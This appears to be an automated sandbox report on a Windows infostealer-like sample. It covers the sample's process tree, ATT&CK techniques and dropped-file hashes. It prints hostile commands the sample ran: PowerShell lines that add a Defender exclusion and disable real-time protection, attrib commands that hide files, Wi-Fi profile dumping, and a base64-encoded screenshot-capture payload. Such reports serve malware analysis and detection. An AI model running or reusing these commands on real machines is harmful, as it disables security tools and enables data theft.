PID 3936 wrote to memory of 1860	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	91
PID 3936 wrote to memory of 1912	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	92
PID 3936 wrote to memory of 1912	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	92
PID 3936 wrote to memory of 4688	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	93
PID 3936 wrote to memory of 4688	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	93
PID 3936 wrote to memory of 3144	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	94
PID 3936 wrote to memory of 3144	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	94
PID 3936 wrote to memory of 1332	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	95
PID 3936 wrote to memory of 1332	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	95
PID 3936 wrote to memory of 4176	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	96
PID 3936 wrote to memory of 4176	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	96
PID 3936 wrote to memory of 3040	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	97
PID 3936 wrote to memory of 3040	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	97
PID 3936 wrote to memory of 4148	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	98
PID 3936 wrote to memory of 4148	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	98
PID 3936 wrote to memory of 1180	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	99
PID 3936 wrote to memory of 1180	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	99
PID 3936 wrote to memory of 3984	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	100
PID 3936 wrote to memory of 3984	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	100
PID 3936 wrote to memory of 1644	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	101
PID 3936 wrote to memory of 1644	3936	03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe	101
PID 1644 wrote to memory of 2952	1644	powershell.exe	102
PID 1644 wrote to memory of 2952	1644	powershell.exe	102
PID 2952 wrote to memory of 4224	2952	csc.exe	103
PID 2952 wrote to memory of 4224	2952	csc.exe	103

Views/modifies file attributes 1 TTPs 4 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4996	attrib.exe
3660	attrib.exe
4148	attrib.exe
1180	attrib.exe

C:\Users\Admin\AppData\Local\Temp\03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
"C:\Users\Admin\AppData\Local\Temp\03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe"
1⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3936
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
  2⤵
  - Views/modifies file attributes
  PID:4996
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:3660
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3164
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious use of AdjustPrivilegeToken
  PID:1860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272.exe
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1912
- C:\Windows\System32\Wbem\wmic.exe
  wmic os get Caption
  2⤵
  PID:4688
- C:\Windows\System32\Wbem\wmic.exe
  wmic cpu get Name
  2⤵
  PID:3144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1332
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4176
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  PID:3040
- C:\Windows\system32\attrib.exe
  attrib -r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:4148
- C:\Windows\system32\attrib.exe
  attrib +r C:\Windows\System32\drivers\etc\hosts
  2⤵
  - Drops file in Drivers directory
  - Views/modifies file attributes
  PID:1180
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yinrowx0\yinrowx0.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2952
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESADC4.tmp" "c:\Users\Admin\AppData\Local\Temp\yinrowx0\CSCE44BDF029900493C9B99C2CA9C7052EB.TMP"
      4⤵
      PID:4224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d8cb3e9459807e35f02130fad3f9860d

SHA1
5af7f32cb8a30e850892b15e9164030a041f4bd6

SHA256
2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68

SHA512
045239ba31367fbdd59e883f74eafc05724e23bd6e8f0c1e7171ea2496a497eb9e0cfcb57285bb81c4d569daadba43d6ef64c626ca48f1e2a59e8d97f0cc9184

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESADC4.tmp

Filesize
1KB

MD5
13ebcbe1e2ddff61a3661ddcbb1ec231

SHA1
2d9ac288227244662158c7d3fad69346fd5008f3

SHA256
0eff1c84d745f507fd6f59a59f59068967f54bb259e27c9363415a9849003b07

SHA512
5acd0253bef57e10c3dd0c6ce84c006966ff10354416ca3bedf739747c883fcd4e2b3ea2a8b2e5960f1cdd31e1b087a958e2e82b49f46a042c1b79f5f839c92f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4fzcide4.xs2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\gMXIogrd7p\Display (1).png

Filesize
430KB

MD5
a39016da2e5347578de9934f690dbea4

SHA1
5f5bbc6c70e457086079ae4f1e691902076fe8a6

SHA256
2a0e5bbee9f7c4bad51d29cb8b74021c0a926aa64806b98b0f33e25d82ce044a

SHA512
d29c32ad9139205794bdcd45f178dce8cac58eb9e63c618d0208297e09fecaf547d1e563ecd6e61498b2fedf422cc9a3e4e8571579e7dbc97b4e24fa1367bd27

Download Submit
C:\Users\Admin\AppData\Local\Temp\yinrowx0\yinrowx0.dll

Filesize
4KB

MD5
31aafc05033f425b0a868104b8c1fc7d

SHA1
9fd1ee2297bb98bc1adbdf75335d8f1614e19395

SHA256
659a8313afeb2ce3ca3434deaebe88f42bc50f72fae2b3a922621adb6fefada4

SHA512
e12e33cfeece15d9a8e71a1d05312c52943dc8136db59fd516483e68e59b36eb5bfc3618dab7ea0ebf0d52e15beaac4319f7ab6d88c185952f067e52f10c3235

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Filesize
14.2MB

MD5
59a08bb8bf4881e814fd3d36f525da8a

SHA1
3f542be6b20daef732a4c4bee9bad1dde8b375f0

SHA256
03da816f34074a5e1941ababc4cbab2880d149a03b1b3b1000cf065479d50272

SHA512
dfc2c2a0c743918642943d296c3b26367d80ce49d3c0ee099c27398ed134a965203014b1b0346e41d882531f8d0bdb878cc38ee1c2420844bd9cfd70677e002a

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
6e2386469072b80f18d5722d07afdc0b

SHA1
032d13e364833d7276fcab8a5b2759e79182880f

SHA256
ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

SHA512
e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yinrowx0\CSCE44BDF029900493C9B99C2CA9C7052EB.TMP

Filesize
652B

MD5
3dadf370692e10188fc30d95d7ff3516

SHA1
198c363e34548aa45ff83903608d960824fceb10

SHA256
a38a877b34fec87244eb8725a1ffac607bfd72914d879ff4ea270b605a9853b6

SHA512
e1941ee5be43760968204b6557e3dd9b702753b7da1b21d5bbb6454471739656e75da6569082aea8259e74859b2b8f24562531c5221fb26f6f17b59c76f1f487

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yinrowx0\yinrowx0.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\yinrowx0\yinrowx0.cmdline

Filesize
607B

MD5
ab4b77e7ded51427adf421d37a75e8be

SHA1
d6cc159133ba5784b25896a5651d87d55c7e1547

SHA256
87af530b259e5c5767900d9b2527e10e134b99e08bb87aea977573c2a3f8a439

SHA512
65d1e24cb1f31c9fd81458aa8d050017d663fdc97664156197f4e97f298d4c1ed8492355200fbba4a9381d641ca4391870560b0e40ce9c6598b4d78a7fa6843d

Download Submit
memory/1644-61-0x000001D55F100000-0x000001D55F108000-memory.dmp

Filesize
32KB

Download
memory/1912-3-0x000001CA25250000-0x000001CA25272000-memory.dmp

Filesize
136KB

Download